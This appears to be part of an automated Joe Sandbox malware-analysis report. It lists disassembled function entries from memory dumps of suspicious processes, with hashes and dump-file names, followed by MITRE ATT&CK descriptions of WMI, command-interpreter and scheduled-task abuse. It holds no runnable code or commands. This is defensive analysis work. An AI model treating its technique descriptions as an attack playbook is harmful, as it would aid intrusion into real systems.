Instruction Fuzzy Hash: BC81DEB200C380AFD312AF24D9A66E9FFF4EF56310F0A499EE4C586652D3345985DB23

Function 00CBFC06 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db0c1c02531182621631bc6b6e1b2c42ef80db2027dc1ba05ae3b3d820f9b1fa
Instruction ID: 2da83e5bcd8285c129572fe5161421a5fc84779b5771d8642ed79a1595fc9dab
Opcode Fuzzy Hash: db0c1c02531182621631bc6b6e1b2c42ef80db2027dc1ba05ae3b3d820f9b1fa
Instruction Fuzzy Hash: 58518FB200C380AFD306AF24E9666B9FFE4FF56320F16495EE5C286252D3745985DB23

Function 00CBFC9E Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d4345c45409078072beb603c9f1057cad5a5b1df58f02682d55994af5ba054a
Instruction ID: c6dabd758305e438e751000ce11c39a71bb6093841d5623d5d09aacb60e0db71
Opcode Fuzzy Hash: 6d4345c45409078072beb603c9f1057cad5a5b1df58f02682d55994af5ba054a
Instruction Fuzzy Hash: 174169B200C240EFE305AF29D9966BAFBE8FF59320F16491EE5C682601D3345884DB23

Function 00CBFCB2 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3164668a5b42d86703d9f9e802b6b4be23b9ace66b272b35efb21d47d57bbae5
Instruction ID: f454d5cb83283b0c8fedd4eb4f7f101b80a2443450e8a43562d107c3555ca5f5
Opcode Fuzzy Hash: 3164668a5b42d86703d9f9e802b6b4be23b9ace66b272b35efb21d47d57bbae5
Instruction Fuzzy Hash: B831C1B201C204EFE309AF68D9866BEFBE5FF58320F160D2DE2D682650D77454849B57

Function 00CBDF01 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2507423351.0000000000CBD000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000003.00000002.2506867647.0000000000B10000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2506964522.0000000000B16000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507010445.0000000000B1A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507039435.0000000000B26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507185803.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507221537.0000000000C8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507324327.0000000000CB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507355294.0000000000CBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507388520.0000000000CBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507451944.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507479637.0000000000CCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507503819.0000000000CCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507529116.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507559110.0000000000CE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507587641.0000000000CE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507611096.0000000000CE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507641042.0000000000CF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507669532.0000000000D04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507755929.0000000000D10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507783687.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507815170.0000000000D1B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507843067.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507872448.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507901509.0000000000D26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507932706.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2507962204.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508016442.0000000000D40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508045519.0000000000D44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508075857.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508103679.0000000000D47000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508130012.0000000000D50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508154752.0000000000D53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508178020.0000000000D54000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508200494.0000000000D55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508222538.0000000000D56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508245499.0000000000D57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508268379.0000000000D59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508294130.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508317754.0000000000D5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508342863.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508385536.0000000000DB9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508409709.0000000000DBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DC3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508434618.0000000000DCA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508485522.0000000000DD8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2508509623.0000000000DDA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b10000_7YW0363WEKP7ULOI0QRA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f382559ad59ff337c4a580bdc7d7ab0041013feafc29a6f4830b05c6de247d29
Instruction ID: dc9f1f81c41807ab374ea1950ddd6d24934c4a3583914020519280d623843829
Opcode Fuzzy Hash: f382559ad59ff337c4a580bdc7d7ab0041013feafc29a6f4830b05c6de247d29
Instruction Fuzzy Hash: E5E04636018101AAD701DFA4C855A9BFBF8FF19320F61884AE884CB722C2758942CB2A

Analysis Process: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exePID: 6408, Parent PID: 1880COMMON

Executed Functions

Function 05570245 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2429303319.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5570000_S70TEYDWG0MIRHL2D28PBWQHSI2HDI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0f16de017a6f923673ade6c7f0cc0e803000ff288802c5efc7cacf7ac604835
Instruction ID: 34a5452e1d00962c5858f13a40f92cf6b78c3379cdaec70ba989be46042e6794
Opcode Fuzzy Hash: a0f16de017a6f923673ade6c7f0cc0e803000ff288802c5efc7cacf7ac604835
Instruction Fuzzy Hash: 2FF02DB720D119AED510E1D5BA4C9F5F79EF6C22343304927F102D61A2E79406995972

Function 0557025A Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2429303319.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5570000_S70TEYDWG0MIRHL2D28PBWQHSI2HDI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac31ec39ed060c063cb79e2612ab17b9fe924a86e4ad135c8fcaab0636099795
Instruction ID: f034c48f30a8f62e7e104110485b0b2d17a019839c425b2109a8afca3743b5bc
Opcode Fuzzy Hash: ac31ec39ed060c063cb79e2612ab17b9fe924a86e4ad135c8fcaab0636099795
Instruction Fuzzy Hash: 8EF07DB321C1059ED611D1D1F69C6F9F399FAC22303304826E141CB0A3E398069A5A72

Function 05570273 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2429303319.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5570000_S70TEYDWG0MIRHL2D28PBWQHSI2HDI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84d21b67f42d70ab2d13ba10cd9b5c2d3bc36c5e4f8ab47a75ff31d8c8031d3f
Instruction ID: 28bdb69dee8fc87aafb3f687871d5948732b8497d7c3ce02f18fddeef543a9f3
Opcode Fuzzy Hash: 84d21b67f42d70ab2d13ba10cd9b5c2d3bc36c5e4f8ab47a75ff31d8c8031d3f
Instruction Fuzzy Hash: EBF02BB320D219AFD610E5C5B55D6F9F7A9FAC23347308837E151C6093E79402599A62

Function 05570284 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2429303319.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5570000_S70TEYDWG0MIRHL2D28PBWQHSI2HDI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 234f4e5963e584db4e62afbe544b4c9a2aa36910cd0a5070b8cdf8c02c60b621
Instruction ID: 80ed02079d633f33bc64fcc4df80d77485b07522c7e262bc18fee2185216d29a
Opcode Fuzzy Hash: 234f4e5963e584db4e62afbe544b4c9a2aa36910cd0a5070b8cdf8c02c60b621
Instruction Fuzzy Hash: BFF0FC7320D11ACFD714F695B14D5A9F7E5FAC2330730443BD041C70A2E7554169AA52

Function 055702AB Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2429303319.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5570000_S70TEYDWG0MIRHL2D28PBWQHSI2HDI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8451ccd1767893b022fe2a8e9676504f53f17dc3e81cef0703a5bd2f62e19f83
Instruction ID: f881d3dc061fe02ae971f52107f287daf5c04c43c62187e99631a07fc0bdfaa6
Opcode Fuzzy Hash: 8451ccd1767893b022fe2a8e9676504f53f17dc3e81cef0703a5bd2f62e19f83
Instruction Fuzzy Hash: DCF054611091899FCF11E66CA18C5EDFB54FF43334F34449DC5804B093D7D4011E8B12

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
